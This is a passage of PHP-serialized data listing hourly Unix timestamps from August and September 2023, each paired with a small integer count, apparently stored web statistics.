:8;}i:1691172000;a:1:{i:0;i:11;}i:1691175600;a:1:{i:0;i:7;}i:1691179200;a:1:{i:0;i:14;}i:1691182800;a:1:{i:0;i:8;}i:1691186400;a:1:{i:0;i:9;}i:1691190000;a:1:{i:0;i:21;}i:1691193600;a:1:{i:0;i:9;}i:1691197200;a:1:{i:0;i:9;}i:1691200800;a:1:{i:0;i:6;}i:1691204400;a:1:{i:0;i:6;}i:1691208000;a:1:{i:0;i:8;}i:1691211600;a:1:{i:0;i:24;}i:1691215200;a:1:{i:0;i:9;}i:1691218800;a:1:{i:0;i:3;}i:1691222400;a:1:{i:0;i:12;}i:1691226000;a:1:{i:0;i:9;}i:1691229600;a:1:{i:0;i:17;}i:1691233200;a:1:{i:0;i:3;}i:1691236800;a:1:{i:0;i:1;}i:1691240400;a:1:{i:0;i:18;}i:1691244000;a:1:{i:0;i:1;}i:1691247600;a:1:{i:0;i:5;}i:1691251200;a:1:{i:0;i:4;}i:1691254800;a:1:{i:0;i:6;}i:1691258400;a:1:{i:0;i:10;}i:1691262000;a:1:{i:0;i:5;}i:1691265600;a:1:{i:0;i:3;}i:1691269200;a:1:{i:0;i:25;}i:1691272800;a:1:{i:0;i:5;}i:1691276400;a:1:{i:0;i:10;}i:1691280000;a:1:{i:0;i:7;}i:1691283600;a:1:{i:0;i:5;}i:1691287200;a:1:{i:0;i:8;}i:1691290800;a:1:{i:0;i:23;}i:1691294400;a:1:{i:0;i:22;}i:1691298000;a:1:{i:0;i:20;}i:1691301600;a:1:{i:0;i:21;}i:1691305200;a:1:{i:0;i:25;}i:1691308800;a:1:{i:0;i:18;}i:1691312400;a:1:{i:0;i:12;}i:1691316000;a:1:{i:0;i:10;}i:1691319600;a:1:{i:0;i:7;}i:1691323200;a:1:{i:0;i:10;}i:1691326800;a:1:{i:0;i:2;}i:1691330400;a:1:{i:0;i:4;}i:1691334000;a:1:{i:0;i:3;}i:1691337600;a:1:{i:0;i:3;}i:1691341200;a:1:{i:0;i:4;}i:1691344800;a:1:{i:0;i:23;}i:1691348400;a:1:{i:0;i:3;}i:1691352000;a:1:{i:0;i:6;}i:1691355600;a:1:{i:0;i:5;}i:1691359200;a:1:{i:0;i:4;}i:1691362800;a:1:{i:0;i:9;}i:1691366400;a:1:{i:0;i:3;}i:1691370000;a:1:{i:0;i:5;}i:1691373600;a:1:{i:0;i:4;}i:1691377200;a:1:{i:0;i:9;}i:1691380800;a:1:{i:0;i:4;}i:1691384400;a:1:{i:0;i:18;}i:1691388000;a:1:{i:0;i:12;}i:1691391600;a:1:{i:0;i:17;}i:1691395200;a:1:{i:0;i:6;}i:1691398800;a:1:{i:0;i:8;}i:1691402400;a:1:{i:0;i:20;}i:1691406000;a:1:{i:0;i:12;}i:1691409600;a:1:{i:0;i:3;}i:1691413200;a:1:{i:0;i:12;}i:1691416800;a:1:{i:0;i:10;}i:1691420400;a:1:{i:0;i:5;}i:1691424000;a:1:{i:0;i:4;}i:1691427600;a:1:{i:0;i:2;}i:1691431200;a:1:{i:0;i:28;}i:1691434800;a:1:{i:0;i:3;}i:1691438400;a:1:{i:0;i:12;}i:1691442000;a:1:{i:0;i:8;}i:1691445600;a:1:{i:0;i:5;}i:1691449200;a:1:{i:0;i:6;}i:1691452800;a:1:{i:0;i:17;}i:1691456400;a:1:{i:0;i:18;}i:1691460000;a:1:{i:0;i:12;}i:1691463600;a:1:{i:0;i:13;}i:1691467200;a:1:{i:0;i:11;}i:1691470800;a:1:{i:0;i:17;}i:1691474400;a:1:{i:0;i:16;}i:1691478000;a:1:{i:0;i:16;}i:1691481600;a:1:{i:0;i:6;}i:1691485200;a:1:{i:0;i:7;}i:1691488800;a:1:{i:0;i:33;}i:1691492400;a:1:{i:0;i:6;}i:1691496000;a:1:{i:0;i:8;}i:1691499600;a:1:{i:0;i:8;}i:1691503200;a:1:{i:0;i:1;}i:1691506800;a:1:{i:0;i:35;}i:1691510400;a:1:{i:0;i:3;}i:1691514000;a:1:{i:0;i:1;}i:1691517600;a:1:{i:0;i:26;}i:1691521200;a:1:{i:0;i:18;}i:1691524800;a:1:{i:0;i:2;}i:1691528400;a:1:{i:0;i:19;}i:1691532000;a:1:{i:0;i:2;}i:1691535600;a:1:{i:0;i:20;}i:1691539200;a:1:{i:0;i:12;}i:1691542800;a:1:{i:0;i:5;}i:1691546400;a:1:{i:0;i:5;}i:1691550000;a:1:{i:0;i:15;}i:1691553600;a:1:{i:0;i:8;}i:1691557200;a:1:{i:0;i:6;}i:1691560800;a:1:{i:0;i:1;}i:1691564400;a:1:{i:0;i:5;}i:1691568000;a:1:{i:0;i:18;}i:1691571600;a:1:{i:0;i:23;}i:1691575200;a:1:{i:0;i:6;}i:1691578800;a:1:{i:0;i:29;}i:1691582400;a:1:{i:0;i:8;}i:1691586000;a:1:{i:0;i:13;}i:1691589600;a:1:{i:0;i:7;}i:1691593200;a:1:{i:0;i:13;}i:1691600400;a:1:{i:0;i:23;}i:1691604000;a:1:{i:0;i:27;}i:1691607600;a:1:{i:0;i:18;}i:1691614800;a:1:{i:0;i:5;}i:1691618400;a:1:{i:0;i:3;}i:1691625600;a:1:{i:0;i:20;}i:1691629200;a:1:{i:0;i:4;}i:1691632800;a:1:{i:0;i:4;}i:1691636400;a:1:{i:0;i:9;}i:1691640000;a:1:{i:0;i:4;}i:1691643600;a:1:{i:0;i:1;}i:1691647200;a:1:{i:0;i:17;}i:1691650800;a:1:{i:0;i:4;}i:1691654400;a:1:{i:0;i:1;}i:1691658000;a:1:{i:0;i:5;}i:1691661600;a:1:{i:0;i:7;}i:1691665200;a:1:{i:0;i:5;}i:1691668800;a:1:{i:0;i:12;}i:1691672400;a:1:{i:0;i:2;}i:1691683200;a:1:{i:0;i:1;}i:1691694000;a:1:{i:0;i:9;}i:1691697600;a:1:{i:0;i:6;}i:1691704800;a:1:{i:0;i:1;}i:1691719200;a:1:{i:0;i:15;}i:1691722800;a:1:{i:0;i:1;}i:1691726400;a:1:{i:0;i:7;}i:1691730000;a:1:{i:0;i:17;}i:1691733600;a:1:{i:0;i:22;}i:1691737200;a:1:{i:0;i:16;}i:1691740800;a:1:{i:0;i:12;}i:1691744400;a:1:{i:0;i:20;}i:1691748000;a:1:{i:0;i:18;}i:1691751600;a:1:{i:0;i:12;}i:1691755200;a:1:{i:0;i:18;}i:1691758800;a:1:{i:0;i:8;}i:1691762400;a:1:{i:0;i:18;}i:1691766000;a:1:{i:0;i:31;}i:1691769600;a:1:{i:0;i:10;}i:1691773200;a:1:{i:0;i:12;}i:1691776800;a:1:{i:0;i:18;}i:1691780400;a:1:{i:0;i:8;}i:1691784000;a:1:{i:0;i:9;}i:1691787600;a:1:{i:0;i:12;}i:1691791200;a:1:{i:0;i:29;}i:1691794800;a:1:{i:0;i:14;}i:1691798400;a:1:{i:0;i:10;}i:1691802000;a:1:{i:0;i:15;}i:1691805600;a:1:{i:0;i:7;}i:1691809200;a:1:{i:0;i:6;}i:1691812800;a:1:{i:0;i:13;}i:1691816400;a:1:{i:0;i:16;}i:1691820000;a:1:{i:0;i:5;}i:1691823600;a:1:{i:0;i:9;}i:1691827200;a:1:{i:0;i:11;}i:1691830800;a:1:{i:0;i:6;}i:1691834400;a:1:{i:0;i:11;}i:1691838000;a:1:{i:0;i:27;}i:1691841600;a:1:{i:0;i:7;}i:1691845200;a:1:{i:0;i:12;}i:1691848800;a:1:{i:0;i:14;}i:1691852400;a:1:{i:0;i:15;}i:1691856000;a:1:{i:0;i:10;}i:1691859600;a:1:{i:0;i:18;}i:1691863200;a:1:{i:0;i:21;}i:1691866800;a:1:{i:0;i:18;}i:1691870400;a:1:{i:0;i:23;}i:1691874000;a:1:{i:0;i:13;}i:1691877600;a:1:{i:0;i:14;}i:1691881200;a:1:{i:0;i:14;}i:1691884800;a:1:{i:0;i:31;}i:1691888400;a:1:{i:0;i:9;}i:1691892000;a:1:{i:0;i:22;}i:1691895600;a:1:{i:0;i:13;}i:1691899200;a:1:{i:0;i:15;}i:1691902800;a:1:{i:0;i:15;}i:1691906400;a:1:{i:0;i:17;}i:1691910000;a:1:{i:0;i:11;}i:1691913600;a:1:{i:0;i:24;}i:1691917200;a:1:{i:0;i:11;}i:1691920800;a:1:{i:0;i:15;}i:1691924400;a:1:{i:0;i:9;}i:1691928000;a:1:{i:0;i:16;}i:1691931600;a:1:{i:0;i:9;}i:1691935200;a:1:{i:0;i:19;}i:1691938800;a:1:{i:0;i:7;}i:1691942400;a:1:{i:0;i:11;}i:1691946000;a:1:{i:0;i:9;}i:1691949600;a:1:{i:0;i:7;}i:1691953200;a:1:{i:0;i:8;}i:1691956800;a:1:{i:0;i:6;}i:1691960400;a:1:{i:0;i:11;}i:1691964000;a:1:{i:0;i:9;}i:1691967600;a:1:{i:0;i:9;}i:1691971200;a:1:{i:0;i:15;}i:1691974800;a:1:{i:0;i:10;}i:1691978400;a:1:{i:0;i:9;}i:1691982000;a:1:{i:0;i:15;}i:1691985600;a:1:{i:0;i:11;}i:1691989200;a:1:{i:0;i:24;}i:1691992800;a:1:{i:0;i:37;}i:1691996400;a:1:{i:0;i:30;}i:1692000000;a:1:{i:0;i:18;}i:1692003600;a:1:{i:0;i:18;}i:1692007200;a:1:{i:0;i:16;}i:1692010800;a:1:{i:0;i:13;}i:1692014400;a:1:{i:0;i:6;}i:1692018000;a:1:{i:0;i:5;}i:1692021600;a:1:{i:0;i:4;}i:1692025200;a:1:{i:0;i:2;}i:1692028800;a:1:{i:0;i:5;}i:1692032400;a:1:{i:0;i:6;}i:1692036000;a:1:{i:0;i:2;}i:1692039600;a:1:{i:0;i:4;}i:1692043200;a:1:{i:0;i:3;}i:1692046800;a:1:{i:0;i:6;}i:1692050400;a:1:{i:0;i:1;}i:1692054000;a:1:{i:0;i:2;}i:1692057600;a:1:{i:0;i:3;}i:1692061200;a:1:{i:0;i:2;}i:1692064800;a:1:{i:0;i:4;}i:1692068400;a:1:{i:0;i:1;}i:1692075600;a:1:{i:0;i:3;}i:1692079200;a:1:{i:0;i:1;}i:1692086400;a:1:{i:0;i:2;}i:1692093600;a:1:{i:0;i:1;}i:1692097200;a:1:{i:0;i:1;}i:1692100800;a:1:{i:0;i:2;}i:1692108000;a:1:{i:0;i:1;}i:1692118800;a:1:{i:0;i:6;}i:1692122400;a:1:{i:0;i:18;}i:1692126000;a:1:{i:0;i:14;}i:1692129600;a:1:{i:0;i:6;}i:1692133200;a:1:{i:0;i:10;}i:1692136800;a:1:{i:0;i:6;}i:1692140400;a:1:{i:0;i:4;}i:1692144000;a:1:{i:0;i:3;}i:1692147600;a:1:{i:0;i:3;}i:1692151200;a:1:{i:0;i:4;}i:1692154800;a:1:{i:0;i:2;}i:1692158400;a:1:{i:0;i:4;}i:1692162000;a:1:{i:0;i:12;}i:1692165600;a:1:{i:0;i:12;}i:1692169200;a:1:{i:0;i:4;}i:1692172800;a:1:{i:0;i:5;}i:1692176400;a:1:{i:0;i:7;}i:1692180000;a:1:{i:0;i:3;}i:1692183600;a:1:{i:0;i:1;}i:1692194400;a:1:{i:0;i:4;}i:1692198000;a:1:{i:0;i:3;}i:1692201600;a:1:{i:0;i:5;}i:1692205200;a:1:{i:0;i:6;}i:1692208800;a:1:{i:0;i:3;}i:1692212400;a:1:{i:0;i:2;}i:1692216000;a:1:{i:0;i:3;}i:1692219600;a:1:{i:0;i:2;}i:1692223200;a:1:{i:0;i:3;}i:1692226800;a:1:{i:0;i:3;}i:1692230400;a:1:{i:0;i:3;}i:1692234000;a:1:{i:0;i:4;}i:1692237600;a:1:{i:0;i:6;}i:1692241200;a:1:{i:0;i:3;}i:1692244800;a:1:{i:0;i:8;}i:1692248400;a:1:{i:0;i:10;}i:1692252000;a:1:{i:0;i:17;}i:1692255600;a:1:{i:0;i:24;}i:1692259200;a:1:{i:0;i:20;}i:1692262800;a:1:{i:0;i:17;}i:1692266400;a:1:{i:0;i:23;}i:1692270000;a:1:{i:0;i:6;}i:1692273600;a:1:{i:0;i:6;}i:1692277200;a:1:{i:0;i:2;}i:1692284400;a:1:{i:0;i:4;}i:1692288000;a:1:{i:0;i:2;}i:1692291600;a:1:{i:0;i:2;}i:1692295200;a:1:{i:0;i:1;}i:1692298800;a:1:{i:0;i:2;}i:1692302400;a:1:{i:0;i:6;}i:1692306000;a:1:{i:0;i:3;}i:1692309600;a:1:{i:0;i:4;}i:1692313200;a:1:{i:0;i:4;}i:1692316800;a:1:{i:0;i:3;}i:1692320400;a:1:{i:0;i:2;}i:1692324000;a:1:{i:0;i:2;}i:1692327600;a:1:{i:0;i:1;}i:1692331200;a:1:{i:0;i:5;}i:1692334800;a:1:{i:0;i:10;}i:1692338400;a:1:{i:0;i:14;}i:1692342000;a:1:{i:0;i:22;}i:1692345600;a:1:{i:0;i:19;}i:1692349200;a:1:{i:0;i:14;}i:1692352800;a:1:{i:0;i:21;}i:1692356400;a:1:{i:0;i:13;}i:1692360000;a:1:{i:0;i:4;}i:1692363600;a:1:{i:0;i:3;}i:1692367200;a:1:{i:0;i:4;}i:1692370800;a:1:{i:0;i:5;}i:1692374400;a:1:{i:0;i:2;}i:1692378000;a:1:{i:0;i:1;}i:1692381600;a:1:{i:0;i:4;}i:1692385200;a:1:{i:0;i:2;}i:1692388800;a:1:{i:0;i:2;}i:1692392400;a:1:{i:0;i:1;}i:1692396000;a:1:{i:0;i:2;}i:1692403200;a:1:{i:0;i:2;}i:1692406800;a:1:{i:0;i:1;}i:1692410400;a:1:{i:0;i:2;}i:1692414000;a:1:{i:0;i:1;}i:1692417600;a:1:{i:0;i:1;}i:1692424800;a:1:{i:0;i:6;}i:1692428400;a:1:{i:0;i:6;}i:1692432000;a:1:{i:0;i:4;}i:1692435600;a:1:{i:0;i:3;}i:1692439200;a:1:{i:0;i:2;}i:1692442800;a:1:{i:0;i:5;}i:1692446400;a:1:{i:0;i:6;}i:1692450000;a:1:{i:0;i:5;}i:1692453600;a:1:{i:0;i:5;}i:1692457200;a:1:{i:0;i:3;}i:1692460800;a:1:{i:0;i:8;}i:1692464400;a:1:{i:0;i:7;}i:1692468000;a:1:{i:0;i:4;}i:1692471600;a:1:{i:0;i:9;}i:1692475200;a:1:{i:0;i:10;}i:1692478800;a:1:{i:0;i:8;}i:1692482400;a:1:{i:0;i:9;}i:1692486000;a:1:{i:0;i:6;}i:1692489600;a:1:{i:0;i:8;}i:1692493200;a:1:{i:0;i:8;}i:1692496800;a:1:{i:0;i:7;}i:1692500400;a:1:{i:0;i:5;}i:1692504000;a:1:{i:0;i:10;}i:1692507600;a:1:{i:0;i:6;}i:1692511200;a:1:{i:0;i:9;}i:1692514800;a:1:{i:0;i:14;}i:1692518400;a:1:{i:0;i:13;}i:1692522000;a:1:{i:0;i:15;}i:1692525600;a:1:{i:0;i:12;}i:1692529200;a:1:{i:0;i:12;}i:1692532800;a:1:{i:0;i:13;}i:1692536400;a:1:{i:0;i:13;}i:1692540000;a:1:{i:0;i:13;}i:1692543600;a:1:{i:0;i:13;}i:1692547200;a:1:{i:0;i:9;}i:1692550800;a:1:{i:0;i:14;}i:1692554400;a:1:{i:0;i:13;}i:1692558000;a:1:{i:0;i:13;}i:1692561600;a:1:{i:0;i:9;}i:1692565200;a:1:{i:0;i:12;}i:1692568800;a:1:{i:0;i:12;}i:1692572400;a:1:{i:0;i:12;}i:1692576000;a:1:{i:0;i:13;}i:1692579600;a:1:{i:0;i:13;}i:1692583200;a:1:{i:0;i:12;}i:1692586800;a:1:{i:0;i:9;}i:1692590400;a:1:{i:0;i:16;}i:1692594000;a:1:{i:0;i:24;}i:1692597600;a:1:{i:0;i:24;}i:1692601200;a:1:{i:0;i:18;}i:1692604800;a:1:{i:0;i:22;}i:1692608400;a:1:{i:0;i:14;}i:1692612000;a:1:{i:0;i:34;}i:1692615600;a:1:{i:0;i:25;}i:1692619200;a:1:{i:0;i:17;}i:1692622800;a:1:{i:0;i:7;}i:1692626400;a:1:{i:0;i:9;}i:1692630000;a:1:{i:0;i:16;}i:1692633600;a:1:{i:0;i:10;}i:1692637200;a:1:{i:0;i:12;}i:1692640800;a:1:{i:0;i:12;}i:1692644400;a:1:{i:0;i:12;}i:1692648000;a:1:{i:0;i:10;}i:1692651600;a:1:{i:0;i:10;}i:1692655200;a:1:{i:0;i:14;}i:1692658800;a:1:{i:0;i:14;}i:1692662400;a:1:{i:0;i:16;}i:1692666000;a:1:{i:0;i:12;}i:1692669600;a:1:{i:0;i:12;}i:1692673200;a:1:{i:0;i:20;}i:1692676800;a:1:{i:0;i:20;}i:1692680400;a:1:{i:0;i:21;}i:1692684000;a:1:{i:0;i:21;}i:1692687600;a:1:{i:0;i:16;}i:1692691200;a:1:{i:0;i:11;}i:1692694800;a:1:{i:0;i:8;}i:1692698400;a:1:{i:0;i:15;}i:1692702000;a:1:{i:0;i:10;}i:1692705600;a:1:{i:0;i:16;}i:1692709200;a:1:{i:0;i:14;}i:1692712800;a:1:{i:0;i:12;}i:1692716400;a:1:{i:0;i:13;}i:1692720000;a:1:{i:0;i:14;}i:1692723600;a:1:{i:0;i:7;}i:1692727200;a:1:{i:0;i:13;}i:1692730800;a:1:{i:0;i:10;}i:1692734400;a:1:{i:0;i:9;}i:1692738000;a:1:{i:0;i:3;}i:1692741600;a:1:{i:0;i:7;}i:1692745200;a:1:{i:0;i:9;}i:1692748800;a:1:{i:0;i:12;}i:1692752400;a:1:{i:0;i:8;}i:1692756000;a:1:{i:0;i:7;}i:1692759600;a:1:{i:0;i:12;}i:1692763200;a:1:{i:0;i:64;}i:1692766800;a:1:{i:0;i:20;}i:1692770400;a:1:{i:0;i:14;}i:1692774000;a:1:{i:0;i:13;}i:1692777600;a:1:{i:0;i:13;}i:1692781200;a:1:{i:0;i:13;}i:1692784800;a:1:{i:0;i:13;}i:1692788400;a:1:{i:0;i:18;}i:1692792000;a:1:{i:0;i:10;}i:1692795600;a:1:{i:0;i:12;}i:1692799200;a:1:{i:0;i:10;}i:1692802800;a:1:{i:0;i:12;}i:1692806400;a:1:{i:0;i:6;}i:1692810000;a:1:{i:0;i:5;}i:1692813600;a:1:{i:0;i:7;}i:1692817200;a:1:{i:0;i:9;}i:1692820800;a:1:{i:0;i:6;}i:1692824400;a:1:{i:0;i:11;}i:1692828000;a:1:{i:0;i:10;}i:1692831600;a:1:{i:0;i:6;}i:1692835200;a:1:{i:0;i:9;}i:1692838800;a:1:{i:0;i:10;}i:1692842400;a:1:{i:0;i:7;}i:1692846000;a:1:{i:0;i:6;}i:1692849600;a:1:{i:0;i:7;}i:1692853200;a:1:{i:0;i:8;}i:1692856800;a:1:{i:0;i:5;}i:1692860400;a:1:{i:0;i:7;}i:1692864000;a:1:{i:0;i:8;}i:1692867600;a:1:{i:0;i:6;}i:1692871200;a:1:{i:0;i:7;}i:1692874800;a:1:{i:0;i:10;}i:1692878400;a:1:{i:0;i:5;}i:1692882000;a:1:{i:0;i:12;}i:1692885600;a:1:{i:0;i:5;}i:1692889200;a:1:{i:0;i:6;}i:1692892800;a:1:{i:0;i:5;}i:1692896400;a:1:{i:0;i:7;}i:1692900000;a:1:{i:0;i:6;}i:1692903600;a:1:{i:0;i:6;}i:1692907200;a:1:{i:0;i:6;}i:1692910800;a:1:{i:0;i:8;}i:1692914400;a:1:{i:0;i:3;}i:1692918000;a:1:{i:0;i:6;}i:1692921600;a:1:{i:0;i:3;}i:1692925200;a:1:{i:0;i:7;}i:1692928800;a:1:{i:0;i:3;}i:1692932400;a:1:{i:0;i:6;}i:1692936000;a:1:{i:0;i:5;}i:1692939600;a:1:{i:0;i:3;}i:1692946800;a:1:{i:0;i:4;}i:1692954000;a:1:{i:0;i:4;}i:1692957600;a:1:{i:0;i:15;}i:1692961200;a:1:{i:0;i:3;}i:1692964800;a:1:{i:0;i:14;}i:1692968400;a:1:{i:0;i:17;}i:1692975600;a:1:{i:0;i:12;}i:1692979200;a:1:{i:0;i:13;}i:1692982800;a:1:{i:0;i:3;}i:1692986400;a:1:{i:0;i:11;}i:1692990000;a:1:{i:0;i:13;}i:1692997200;a:1:{i:0;i:15;}i:1693000800;a:1:{i:0;i:9;}i:1693004400;a:1:{i:0;i:4;}i:1693008000;a:1:{i:0;i:10;}i:1693011600;a:1:{i:0;i:8;}i:1693015200;a:1:{i:0;i:12;}i:1693018800;a:1:{i:0;i:15;}i:1693022400;a:1:{i:0;i:2;}i:1693026000;a:1:{i:0;i:14;}i:1693029600;a:1:{i:0;i:11;}i:1693036800;a:1:{i:0;i:12;}i:1693040400;a:1:{i:0;i:1;}i:1693044000;a:1:{i:0;i:13;}i:1693047600;a:1:{i:0;i:18;}i:1693051200;a:1:{i:0;i:18;}i:1693054800;a:1:{i:0;i:7;}i:1693058400;a:1:{i:0;i:12;}i:1693062000;a:1:{i:0;i:17;}i:1693065600;a:1:{i:0;i:4;}i:1693069200;a:1:{i:0;i:20;}i:1693072800;a:1:{i:0;i:19;}i:1693076400;a:1:{i:0;i:7;}i:1693080000;a:1:{i:0;i:14;}i:1693083600;a:1:{i:0;i:5;}i:1693087200;a:1:{i:0;i:10;}i:1693090800;a:1:{i:0;i:20;}i:1693094400;a:1:{i:0;i:3;}i:1693098000;a:1:{i:0;i:18;}i:1693101600;a:1:{i:0;i:11;}i:1693105200;a:1:{i:0;i:19;}i:1693108800;a:1:{i:0;i:2;}i:1693112400;a:1:{i:0;i:16;}i:1693119600;a:1:{i:0;i:16;}i:1693123200;a:1:{i:0;i:9;}i:1693126800;a:1:{i:0;i:4;}i:1693130400;a:1:{i:0;i:11;}i:1693134000;a:1:{i:0;i:16;}i:1693141200;a:1:{i:0;i:13;}i:1693144800;a:1:{i:0;i:16;}i:1693148400;a:1:{i:0;i:4;}i:1693152000;a:1:{i:0;i:7;}i:1693155600;a:1:{i:0;i:4;}i:1693159200;a:1:{i:0;i:3;}i:1693162800;a:1:{i:0;i:1;}i:1693166400;a:1:{i:0;i:1;}i:1693170000;a:1:{i:0;i:3;}i:1693173600;a:1:{i:0;i:3;}i:1693177200;a:1:{i:0;i:1;}i:1693180800;a:1:{i:0;i:14;}i:1693188000;a:1:{i:0;i:11;}i:1693191600;a:1:{i:0;i:2;}i:1693195200;a:1:{i:0;i:12;}i:1693198800;a:1:{i:0;i:13;}i:1693202400;a:1:{i:0;i:1;}i:1693206000;a:1:{i:0;i:12;}i:1693209600;a:1:{i:0;i:6;}i:1693213200;a:1:{i:0;i:20;}i:1693216800;a:1:{i:0;i:12;}i:1693220400;a:1:{i:0;i:14;}i:1693224000;a:1:{i:0;i:18;}i:1693227600;a:1:{i:0;i:4;}i:1693231200;a:1:{i:0;i:15;}i:1693234800;a:1:{i:0;i:10;}i:1693238400;a:1:{i:0;i:1;}i:1693242000;a:1:{i:0;i:8;}i:1693245600;a:1:{i:0;i:1;}i:1693249200;a:1:{i:0;i:14;}i:1693252800;a:1:{i:0;i:16;}i:1693260000;a:1:{i:0;i:12;}i:1693263600;a:1:{i:0;i:16;}i:1693267200;a:1:{i:0;i:2;}i:1693270800;a:1:{i:0;i:18;}i:1693274400;a:1:{i:0;i:4;}i:1693278000;a:1:{i:0;i:11;}i:1693281600;a:1:{i:0;i:7;}i:1693285200;a:1:{i:0;i:18;}i:1693288800;a:1:{i:0;i:18;}i:1693292400;a:1:{i:0;i:12;}i:1693296000;a:1:{i:0;i:23;}i:1693299600;a:1:{i:0;i:10;}i:1693303200;a:1:{i:0;i:14;}i:1693306800;a:1:{i:0;i:15;}i:1693310400;a:1:{i:0;i:5;}i:1693314000;a:1:{i:0;i:13;}i:1693317600;a:1:{i:0;i:1;}i:1693321200;a:1:{i:0;i:16;}i:1693324800;a:1:{i:0;i:18;}i:1693328400;a:1:{i:0;i:2;}i:1693332000;a:1:{i:0;i:13;}i:1693335600;a:1:{i:0;i:1;}i:1693339200;a:1:{i:0;i:18;}i:1693342800;a:1:{i:0;i:15;}i:1693346400;a:1:{i:0;i:2;}i:1693350000;a:1:{i:0;i:13;}i:1693353600;a:1:{i:0;i:14;}i:1693357200;a:1:{i:0;i:2;}i:1693360800;a:1:{i:0;i:16;}i:1693364400;a:1:{i:0;i:16;}i:1693368000;a:1:{i:0;i:4;}i:1693371600;a:1:{i:0;i:19;}i:1693375200;a:1:{i:0;i:18;}i:1693378800;a:1:{i:0;i:6;}i:1693382400;a:1:{i:0;i:18;}i:1693386000;a:1:{i:0;i:21;}i:1693389600;a:1:{i:0;i:6;}i:1693393200;a:1:{i:0;i:13;}i:1693396800;a:1:{i:0;i:3;}i:1693404000;a:1:{i:0;i:4;}i:1693407600;a:1:{i:0;i:3;}i:1693411200;a:1:{i:0;i:1;}i:1693414800;a:1:{i:0;i:5;}i:1693422000;a:1:{i:0;i:1;}i:1693425600;a:1:{i:0;i:10;}i:1693429200;a:1:{i:0;i:10;}i:1693432800;a:1:{i:0;i:11;}i:1693436400;a:1:{i:0;i:1;}i:1693440000;a:1:{i:0;i:13;}i:1693443600;a:1:{i:0;i:1;}i:1693447200;a:1:{i:0;i:14;}i:1693450800;a:1:{i:0;i:14;}i:1693454400;a:1:{i:0;i:16;}i:1693458000;a:1:{i:0;i:7;}i:1693461600;a:1:{i:0;i:13;}i:1693465200;a:1:{i:0;i:8;}i:1693468800;a:1:{i:0;i:20;}i:1693472400;a:1:{i:0;i:24;}i:1693476000;a:1:{i:0;i:12;}i:1693479600;a:1:{i:0;i:20;}i:1693483200;a:1:{i:0;i:6;}i:1693486800;a:1:{i:0;i:14;}i:1693490400;a:1:{i:0;i:15;}i:1693494000;a:1:{i:0;i:1;}i:1693497600;a:1:{i:0;i:11;}i:1693501200;a:1:{i:0;i:14;}i:1693504800;a:1:{i:0;i:2;}i:1693508400;a:1:{i:0;i:12;}i:1693512000;a:1:{i:0;i:5;}i:1693515600;a:1:{i:0;i:11;}i:1693519200;a:1:{i:0;i:9;}i:1693522800;a:1:{i:0;i:1;}i:1693526400;a:1:{i:0;i:11;}i:1693530000;a:1:{i:0;i:15;}i:1693533600;a:1:{i:0;i:4;}i:1693537200;a:1:{i:0;i:13;}i:1693540800;a:1:{i:0;i:10;}i:1693544400;a:1:{i:0;i:2;}i:1693548000;a:1:{i:0;i:7;}i:1693551600;a:1:{i:0;i:3;}i:1693555200;a:1:{i:0;i:7;}i:1693558800;a:1:{i:0;i:11;}i:1693562400;a:1:{i:0;i:1;}i:1693566000;a:1:{i:0;i:7;}i:1693569600;a:1:{i:0;i:2;}i:1693573200;a:1:{i:0;i:7;}i:1693576800;a:1:{i:0;i:1;}i:1693580400;a:1:{i:0;i:12;}i:1693584000;a:1:{i:0;i:9;}i:1693587600;a:1:{i:0;i:1;}i:1693591200;a:1:{i:0;i:15;}i:1693594800;a:1:{i:0;i:11;}i:1693602000;a:1:{i:0;i:10;}i:1693605600;a:1:{i:0;i:2;}i:1693609200;a:1:{i:0;i:9;}i:1693612800;a:1:{i:0;i:14;}i:1693616400;a:1:{i:0;i:1;}i:1693620000;a:1:{i:0;i:12;}i:1693623600;a:1:{i:0;i:12;}i:1693627200;a:1:{i:0;i:3;}i:1693630800;a:1:{i:0;i:6;}i:1693634400;a:1:{i:0;i:1;}i:1693638000;a:1:{i:0;i:3;}i:1693641600;a:1:{i:0;i:2;}i:1693645200;a:1:{i:0;i:2;}i:1693648800;a:1:{i:0;i:1;}i:1693652400;a:1:{i:0;i:3;}i:1693656000;a:1:{i:0;i:8;}i:1693659600;a:1:{i:0;i:16;}i:1693663200;a:1:{i:0;i:7;}i:1693666800;a:1:{i:0;i:18;}i:1693670400;a:1:{i:0;i:12;}i:1693674000;a:1:{i:0;i:21;}i:1693677600;a:1:{i:0;i:8;}i:1693681200;a:1:{i:0;i:23;}i:1693684800;a:1:{i:0;i:16;}i:1693688400;a:1:{i:0;i:13;}i:1693692000;a:1:{i:0;i:4;}i:1693695600;a:1:{i:0;i:15;}i:1693699200;a:1:{i:0;i:21;}i:1693702800;a:1:{i:0;i:16;}i:1693706400;a:1:{i:0;i:15;}i:1693710000;a:1:{i:0;i:7;}i:1693713600;a:1:{i:0;i:15;}i:1693717200;a:1:{i:0;i:20;}i:1693720800;a:1:{i:0;i:18;}i:1693724400;a:1:{i:0;i:4;}i:1693728000;a:1:{i:0;i:16;}i:1693731600;a:1:{i:0;i:15;}i:1693735200;a:1:{i:0;i:13;}i:1693738800;a:1:{i:0;i:4;}i:1693742400;a:1:{i:0;i:17;}i:1693746000;a:1:{i:0;i:16;}i:1693753200;a:1:{i:0;i:17;}i:1693756800;a:1:{i:0;i:14;}i:1693760400;a:1:{i:0;i:3;}i:1693764000;a:1:{i:0;i:17;}i:1693767600;a:1:{i:0;i:14;}i:1693771200;a:1:{i:0;i:10;}i:1693774800;a:1:{i:0;i:16;}i:1693778400;a:1:{i:0;i:3;}i:1693782000;a:1:{i:0;i:14;}i:1693785600;a:1:{i:0;i:15;}i:1693789200;a:1:{i:0;i:14;}i:1693792800;a:1:{i:0;i:5;}i:1693796400;a:1:{i:0;i:15;}i:1693800000;a:1:{i:0;i:14;}i:1693803600;a:1:{i:0;i:10;}i:1693807200;a:1:{i:0;i:15;}i:1693810800;a:1:{i:0;i:16;}i:1693814400;a:1:{i:0;i:3;}i:1693818000;a:1:{i:0;i:17;}i:1693821600;a:1:{i:0;i:13;}i:1693825200;a:1:{i:0;i:6;}i:1693828800;a:1:{i:0;i:2;}i:1693832400;a:1:{i:0;i:4;}i:1693836000;a:1:{i:0;i:2;}i:1693843200;a:1:{i:0;i:15;}i:1693846800;a:1:{i:0;i:13;}i:1693854000;a:1:{i:0;i:10;}i:1693857600;a:1:{i:0;i:13;}i:1693861200;a:1:{i:0;i:6;}i:1693864800;a:1:{i:0;i:1;}i:1693868400;a:1:{i:0;i:12;}i:1693872000;a:1:{i:0;i:6;}i: